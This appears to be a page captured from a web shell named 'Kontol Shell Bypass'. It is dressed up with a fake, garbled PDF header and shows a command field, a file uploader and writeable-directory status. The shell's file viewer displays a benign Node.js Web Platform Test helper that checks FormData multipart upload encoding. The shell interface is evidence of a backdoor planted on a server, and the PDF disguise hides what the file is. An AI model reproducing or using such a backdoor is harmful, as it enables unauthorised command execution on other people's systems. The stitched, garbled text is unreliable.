%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/test/fixtures/wpt/FileAPI/support/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/test/fixtures/wpt/FileAPI/support/send-file-formdata-helper.js
"use strict";

const kTestChars = "ABC~‾¥≈¤・・•∙·☼★星🌟星★☼·∙•・・¤≈¥‾~XYZ";

// formDataPostFileUploadTest - verifies multipart upload structure and
// numeric character reference replacement for filenames, field names,
// and field values using FormData and fetch().
//
// Uses /fetch/api/resources/echo-content.py to echo the upload
// POST (unlike in send-file-form-helper.js, here we expect all
// multipart/form-data request bodies to be UTF-8, so we don't need to
// escape controls and non-ASCII bytes).
//
// Fields in the parameter object:
//
// - fileNameSource: purely explanatory and gives a clue about which
//   character encoding is the source for the non-7-bit-ASCII parts of
//   the fileBaseName, or Unicode if no smaller-than-Unicode source
//   contains all the characters. Used in the test name.
// - fileBaseName: the not-necessarily-just-7-bit-ASCII file basename
//   used for the constructed test file. Used in the test name.
const formDataPostFileUploadTest = ({
  fileNameSource,
  fileBaseName,
}) => {
  promise_test(async (testCase) => {
    const formData = new FormData();
    let file = new Blob([kTestChars], { type: "text/plain" });
    try {
      // Switch to File in browsers that allow this
      file = new File([file], fileBaseName, { type: file.type });
    } catch (ignoredException) {
    }

    // Used to verify that the browser agrees with the test about
    // field value replacement and encoding independently of file system
    // idiosyncracies.
    formData.append("filename", fileBaseName);

    // Same, but with name and value reversed to ensure field names
    // get the same treatment.
    formData.append(fileBaseName, "filename");

    formData.append("file", file, fileBaseName);

    const formDataText = await (await fetch(
      `/fetch/api/resources/echo-content.py`,
      {
        method: "POST",
        body: formData,
      },
    )).text();
    const formDataLines = formDataText.split("\r\n");
    if (formDataLines.length && !formDataLines[formDataLines.length - 1]) {
      --formDataLines.length;
    }
    assert_greater_than(
      formDataLines.length,
      2,
      `${fileBaseName}: multipart form data must have at least 3 lines: ${
        JSON.stringify(formDataText)
      }`,
    );
    const boundary = formDataLines[0];
    assert_equals(
      formDataLines[formDataLines.length - 1],
      boundary + "--",
      `${fileBaseName}: multipart form data must end with ${boundary}--: ${
        JSON.stringify(formDataText)
      }`,
    );

    const asName = fileBaseName.replace(/[\r\n"]/g, encodeURIComponent);
    const expectedText = [
      boundary,
      'Content-Disposition: form-data; name="filename"',
      "",
      fileBaseName,
      boundary,
      `Content-Disposition: form-data; name="${asName}"`,
      "",
      "filename",
      boundary,
      `Content-Disposition: form-data; name="file"; ` +
      `filename="${asName}"`,
      "Content-Type: text/plain",
      "",
      kTestChars,
      boundary + "--",
    ].join("\r\n");

    assert_true(
      formDataText.startsWith(expectedText),
      `Unexpected multipart-shaped form data received:\n${formDataText}\nExpected:\n${expectedText}`,
    );
  }, `Upload ${fileBaseName} (${fileNameSource}) in fetch with FormData`);
};

Kontol Shell Bypass